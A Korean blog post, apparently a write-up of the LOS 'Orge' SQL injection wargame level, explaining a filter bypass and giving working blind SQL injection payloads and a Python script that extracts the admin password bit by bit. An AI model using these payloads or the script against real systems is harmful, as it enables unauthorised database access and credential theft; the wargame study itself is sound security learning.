LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 Darkelf에 이어 Orge 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

Orge문제를 들어가기 전에 몬스터 이미지를 보아하니 겁나 근육질인 것을 보고 쫄았습니다. 아니나 다를까 이번에도 Blind SQL injection이었습니다.



 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php 
	include "./config.php"; 
	login_chk(); 
	dbconnect(); 
	if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
	if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
	$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
	echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
	$result = @mysql_fetch_array(mysql_query($query)); 
	if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
	 
	$_GET[pw] = addslashes($_GET[pw]); 
	$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
	$result = @mysql_fetch_array(mysql_query($query)); 
	if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
	highlight_file(__FILE__); 
?>


위의 문제에서는 먼저 pw에 값을 넣어야함을 알 수 있습니다.

필터링은 크게 되어 있지 않은 상태이며, 9번 라인을 보니 리턴되는 값이 있다면 Hello admin이라는 값을 출력해주는 것을 알 수 있습니다.

그런데 여기서는 6번 라인을 보아하니 or와 and가 필터링되어있는 것을 알 수 있습니다.

따라서 or와 and 대신에 사용할 ||, &&를 사용해야합니다.


또한 11번 라인에서는 addslashes라는 함수를 통해 입력한 값을 중간에 한 번 필터링을 걸어줍니다.

어떻게 우회할 수 있을까 고민을 참 많이 했습니다.


여기서는 일반적인 SQL Injection 기법보다는 다른 기법을 사용해야함을 나중에서야 깨달았습니다.

여기서는 Blind SQL Injection 기법을 통해 풀이를 진행해야 합니다.


이러한 이유는 15번 라인에서 답을 구할 수 있습니다.


먼저 2~10번 라인의 소스를 위쪽 PHP소스, 12~16번 라인까지의 소스아래쪽 PHP소스라고 표현하겠습니다.


위쪽 PHP 소스에서는 addslashes 함수를 거치지 않기 때문에 제대로 싱글쿼터, 더블쿼터 등의 문자를 삽입하여 SQL Injection을 수행할 수 있습니다. 그러나 아래쪽 PHP 소스에서는 addslashes 함수를 거치기 때문에 이러한 기법의 SQL Injection이 불가능합니다. 그리고 결정적으로 15번 라인에서 pw에 입력한 값과 query를 실행하여 돌아온 값이 일치해야 문제가 풀리도록 하였습니다.


즉 우리가 정확한 Password를 입력해야함을 말합니다...!!


그렇다면 SQL Injection 에서 우리가 얻을 수 있는 값은 무엇인가를 봐야 합니다.

딱히 리턴되어 돌아오는 값을 알 수 없습니다. 오직 참이냐 거짓이냐 혹은 값이 있냐 없냐만 알 수 있습니다!


따라서 참이냐 거짓이냐를 알 수 있다면 이는 Blind SQL Injection을 이용해야 함을 말합니다.





 

 문제 풀이(쿼리)


먼저 쿼리를 수동으로 설정하여 전송하는 방법으로 어떤 것이 가능한지 알아보도록 합시다.



 

 비밀번호 길이 알아내기


먼저 우리는 table의 pw라는 컬럼을 알고 있습니다. 그렇다면 MySQL 함수인 length 함수를 이용하여 비밀번호의 길이를 알아낼 수 있습니다.

아주 간단하게 다음과 같이 쿼리를 날려주도록 합시다.

 https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=%27||id=%27admin%27%26%26length(pw)=1%23


위의 쿼리는 id가 admin이고, pw길이가 1인 값이 있는지 없는지 알아내기 위한 쿼리입니다.

이는 pw='||id='admin' %26%26 length(pw)=1%23으로 작성하였습니다.

만약 위의 조건에 맞는 값이 있다면 값이 반환되어 $result에 들어갈 것이고, if($result['id'])가 참이기 때문에 Hello admin이라는 값이 나타날 것입니다.

여기서 주의해야할 점은 &를 그대로 GET 형태로 넘겨주게 되면 데이터를 넘겨주는 다음 변수가 따라온다고 판단하게 됩니다. 마찬가지로 &&로도 전송할 수 없습니다.

때문에 URL 인코딩을 수행한 값을 넣어줘야 합니다.


그러나 위의 쿼리 값을 통해 Hello admin이라는 값이 나타나지 않습니다. 이는 admin의 비밀번호 길이가 1이 아니기 때문입니다.


비밀번호 길이는 8까지 해보니 Hello admin이 출력되었습니다.


따라서 admin의 비밀번호 길이는 8이라는 것을 알 수 있었습니다.


이제 비밀번호를 알아내야 합니다.



 

 비밀번호 값 알아내기




각 한 글자를 비교하는 쿼리를 만들어보도록 합시다.


실패한 쿼리문...

 https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=%27%20||%20id=%27admin%27%26%26%20substr(lpad(bin(ord(substr(pw,1,1))),8,0),1,1)=1%23


위의 쿼리는 다음과 같은 값이 들어가 있습니다.

pw=' || id='admin' %26%26 substr(lpad(bin(ord(substr(pw,1,1))),8,0),1,1)=1%23

여기서는 substr 함수와 lpad, bin, ord 함수를 이용하여 각 글자의 각 비트를 한 번씩 가져와서 비교할 수 있도록 하였습니다.


단!! 여기서 ord에서는 or이라는 문자가 있기 때문에 필터링이되어 제대로 쿼리를 실행할 수 없습니다. 따라서 ord 대신에 사용할 쿼리를 만들어야 합니다.

저는 ord 대신에 conv 함수와 hex 함수를 이용하였습니다.


성공한 쿼리문

 https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=%27%20||%20id=%27admin%27%26%26%20substr(lpad(bin(conv(hex(substr(pw,1,1)),16,10)),8,0),1,1)=1%23


위의 쿼리는 다음과 같은 값이 들어가 있습니다.

pw=' || id='admin' %26%26 substr(lpad(bin(conv(hex(substr(pw,1,1)),16,10)),8,0),1,1)=1%23

여기서는 substr 함수와 lpad, bin, conv, hex 함수를 이용하여 각 글자의 각 비트를 한 번씩 가져와서 비교할 수 있도록 하였습니다.


substr(pw, 1, 1)은 pw 테이블에 있는 값을 가져와서 1번째 위치에서 1개의 값을 가져온다는 뜻입니다. 만약 substr(pw, 2, 1)이라면 2번째 위치에서 1개의 값을 가져온다는 뜻이 됩니다.


hex 함수는 입력된 문자 하나를 16진수로 변경해주는 함수입니다.


conv(값, 16, 10) 함수는 입력된 값을 16진수에서 10진수로 변형해주는 함수입니다.


bin은 숫자 값을 binary 값(이진수)으로 바꿔주는 함수입니다.


lpad는 값을 몇 자리로 만들어줄지, 무엇으로 채워줄지 결정하는 함수입니다. lpad(값, 8, 0)은 가져온 값을 8글자로 만드는데, 빈 공간을 앞에서부터 0으로 채워준다는 의미입니다. 만약 1100100이라는 7글자 값이 들어왔다면 01100100으로 패딩해준다는 의미입니다.


안에 있는 substr은 문자열의 값 중 한 글자를 가져오는 역할이고, 밖에 있는 substr은 문자가 bin으로 바뀐 상태에서 8개의 비트 값을 하나씩 가져오는 역할입니다.


이제 이러한 이해를 바탕으로 소스코드를 작성해보도록 하겠습니다.





 

 문제 풀이(소스)


import requests

requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw='
headers = {'Cookie': 'PHPSESSID=bhvv81n0c3ba6775vl017ojk12'}


passwordLen = 0

# It is GET Parameter 

# Get Length of Password =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
payload = "'||id='admin'%26%26length(pw)="

for i in range(1, 100):
    tmpPayload = payload + str(i) + '%23'
    res        = sess.get(url=URL+tmpPayload, headers=headers, verify=False)

    if 'Hello admin' in res.text:
        # true
        print('[=] Find Password Length : %d' % i)
        passwordLen = i
        break
    else:
        # false
        pass


# Get Name of Password =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Password = ''

for j in range(1, 9):
    
    bit = ''

    for i in range(1, passwordLen+1):
        payload = "'||id='admin'%26%26substr(lpad(bin(conv(hex(substr(pw,{},1)),16,10)),8,0),{},1)=1%23".format(j, i)

        res     = sess.get(url=URL+payload, headers=headers, verify=False)

        if 'Hello admin' in res.text:
            # true  ==> the bit is 1
            bit += '1'
        else:
            # false ==> the bit is 0
            bit += '0'

    Password += chr(int(bit, 2))
    print('[=] Find Password(count %02d) : %s (bit : %s)' % (j, chr(int(bit, 2)), bit))



print('[=] Find Password : %s' % Password)


위의 소스코드는 python 3로 작성되었으며, requests 모듈을 따로 pip로 설치해주어야 합니다.


만약 pip 설치가 잘 안 되시는 분은 다음 링크를 참조해주시기 바랍니다.


python의 pip 명령이 들지 않을 때(python pip error)링크


또한 소스에서 Cookie 값은 자신의 쿠키 값으로 변경해서 사용해주시기 바랍니다.


Cookie 값은 [개발자모드(F12)->콘솔(Console)->document.cookie를 입력] 를 통해 알아낼 수도 있고, 주소 창에 javascript:alert(document.cookie)를 입력하는 방법으로 알아낼 수 있습니다.





+ Recent posts